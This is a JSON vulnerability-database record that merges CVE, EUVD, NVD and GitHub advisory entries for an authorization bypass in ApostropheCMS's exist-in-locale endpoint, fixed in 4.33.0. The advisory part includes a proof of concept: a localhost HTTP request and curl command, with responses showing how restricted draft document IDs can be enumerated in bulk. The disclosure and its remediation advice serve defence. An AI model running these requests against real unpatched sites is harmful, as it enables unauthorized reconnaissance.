{"id":"EUVD-2026-105208","revision":null,"records":[{"revision":"dd1344d9d1f9472dafbfaa2dce158fca","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-113660","aliases":[],"title":"ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.","state":0,"publishedAt":"2026-10-20T17:04:06.548+00:00","modifiedAt":"2026-10-20T17:43:51.404+00:00","affected":[{"ecosystem":"Vendor product","name":"apostrophe","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"apostrophecms\",\n                    \"product\": \"apostrophe\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.33.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-113660","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-113660","identifiers":["CVE-2026-113660"]},"retained":false,"historicalAffected":[]},{"revision":"60be141943644471ae56f4d3edf3c3e2","observedAt":"2026-11-07T04:34:26.761+00:00","statement":{"source":"euvd","id":"EUVD-2026-105208","aliases":["CVE-2026-113660","GHSA-vmxh-77cw-65j7"],"title":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mod…","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"severity":null}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-105208","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 20, 2026, 5:04:06 PM","dateUpdated":"Oct 20, 2026, 5:43:51 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-105208","identifiers":["EUVD-2026-105208","CVE-2026-113660","GHSA-vmxh-77cw-65j7"]},"retained":false,"historicalAffected":[]},{"revision":"79fa0efd2a9540449de312120cafe535","observedAt":"2026-10-25T05:17:18.597+00:00","statement":{"source":"nvd","id":"CVE-2026-113660","aliases":[],"title":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mod…","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.","state":0,"publishedAt":"2026-10-20T18:17:19.42+00:00","modifiedAt":"2026-10-20T19:53:10.247+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0","https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113660","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-862"],"productCriteria":[],"sourceDates":{"published":"2026-10-20T18:17:19.420","lastModified":"2026-10-20T19:53:10.247"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-113660","identifiers":["CVE-2026-113660"]},"retained":false,"historicalAffected":[]},{"revision":"75b4bc69311145e18736543d9bd842c9","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-vmxh-77cw-65j7","aliases":["CVE-2026-113660"],"title":"ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers","description":"**Summary**\nApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.\n\nThe issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.\n\n**Details**\nExact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529`\nExact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale`\nThe handler verifies only that the requester is authenticated:\n\n```\nif (!req.user) {\n  throw self.apos.error('notfound');\n}\n```\nIt then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:\n\n```\nconst found = await self.apos.doc.db.find({\n  aposLocale: `${locale}:${mode}`,\n  aposDocId: {\n    $in: ids.map(self.apos.doc.toAposDocId)\n  }\n}).project({\n  _id: 1,\n  aposDocId: 1\n}).toArray();\n```\nThis query does not apply:\n\n.permission('view')\n.permission('edit')\napos.permission.criteria(req, 'view')\nobject-level document authorization\nlocale-specific authorization\n\nThe endpoint accepts multiple IDs, making bulk probing possible.\n\n**Proof of Concept**\n\nThe local application was running at: http://127.0.0.1:3000\nThe test account had the low-privilege role: guest\nThe local database contained synthetic records for the restricted document base ID:\n```\nwv2l4rbaplgzkg80zkne4aoz:en:draft\nwv2l4rbaplgzkg80zkne4aoz:fr:draft\n```\nAll credentials and cookies are intentionally redacted below.\n\n```\nPOST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-guest-session>\nContent-Type: application/json\nAccept: application/json\n\n{\n  \"ids\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n    \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n  ],\n  \"locale\": \"fr\",\n  \"mode\": \"draft\"\n}\n```\n**Equivalent command**\n```\ncurl -i -sS -X POST \\\n  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \\\n  -b /path/to/redacted-guest-cookie-jar.txt \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json' \\\n  --data-raw '{\n    \"ids\": [\n      \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n      \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n    ],\n    \"locale\": \"fr\",\n    \"mode\": \"draft\"\n  }'\n```\n**Observed response**\n```\nHTTP/1.1 200 OK\nX-Powered-By: Express\nContent-Type: application/json; charset=utf-8\n```\n\n```\n{\n  \"originalLocaleIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:en:draft\"\n  ],\n  \"newLocaleIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:fr:draft\"\n  ],\n  \"aposDocIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz\"\n  ]\n}\n```\nThe nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.\n\n**Authorization control**\nUsing the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:\n\n```\nGET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-guest-session>\nAccept: application/json\n\n```\n\n**Observed response:**\n```\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n```\n```\n{\n  \"name\": \"forbidden\",\n  \"data\": {},\n  \"message\": \"forbidden\"\n}\n\n```\nThis demonstrates the authorization boundary clearly:\n\n| Request                                         | Result                              |\n| ----------------------------------------------- | ----------------------------------- |\n| Normal page API for the restricted draft        | `403 Forbidden`                     |\n| `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID |\n| `exist-in-locale` for a nonexistent ID          | `200 OK` with empty arrays          |\n\n**Additional impact validation**\n\nThe behavior was also tested across multiple locale and mode combinations:\n\n| Query                         | Result                                                     |\n| ----------------------------- | ---------------------------------------------------------- |\n| `locale=fr`, `mode=draft`     | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft`               |\n| `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed |\n| `locale=de`, `mode=draft`     | Returned empty arrays because no German fixture existed    |\n| Two IDs in one request        | Existing ID returned; nonexistent ID omitted               |\n\nThis confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.\n\nImpact\nA low-privilege authenticated user can:\nProbe arbitrary known or guessed document base IDs.\nDetermine whether restricted documents have localized versions.\nDetermine whether unpublished draft versions exist.\nIdentify which locales contain matching records.\nObtain exact localized document identifiers.\nSubmit multiple IDs in one request for bulk reconnaissance.\nThe issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.\n\nRecommended remediation\nBefore executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check.\nThe endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.\n\n[[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)\n\n[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)","state":0,"publishedAt":"2026-10-20T18:19:34+00:00","modifiedAt":"2026-10-20T18:30:03.5923692+00:00","affected":[{"ecosystem":"npm","name":"apostrophe","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.33.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://github.com/advisories/GHSA-vmxh-77cw-65j7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vmxh-77cw-65j7","identifiers":["GHSA-vmxh-77cw-65j7","CVE-2026-113660"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T12:04:37.5111605+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T12:04:37.5111605+00:00","lastSuccessAt":"2026-11-08T12:04:37.723623+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.7236261+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-2b67187422a694a3d3288b6a1e28326b3060bb18a3ee01d9be7309c46446a822","complete":true,"records":421097,"lastAttemptAt":"2026-11-08T12:04:36.9953395+00:00","lastSuccessAt":"2026-11-08T12:04:36.9557955+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:36.9953395+00:00","snapshotPublishedAt":"2026-11-08T11:26:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-86f25219fb644e6286aef55d85e25bf2","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T12:05:08.2403712+00:00","lastSuccessAt":"2026-11-08T11:08:04.005+00:00","error":null,"lastVerifiedAt":"2026-11-08T11:08:04.005+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T12:04:37.5111605+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T12:04:37.5111605+00:00","lastSuccessAt":"2026-11-08T12:04:37.7247541+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.7247552+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c8ab24cce7724539b5148423668d4a8d","complete":false,"records":13666,"lastAttemptAt":"2026-11-08T12:05:07.5124328+00:00","lastSuccessAt":"2026-11-08T12:05:07.509+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:05:07.509+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T12:04:37.4138776+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.4138776+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T12:04:37.186742+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.186742+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T12:04:37.4417198+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.4417198+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T12:04:37.3024645+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.3024645+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}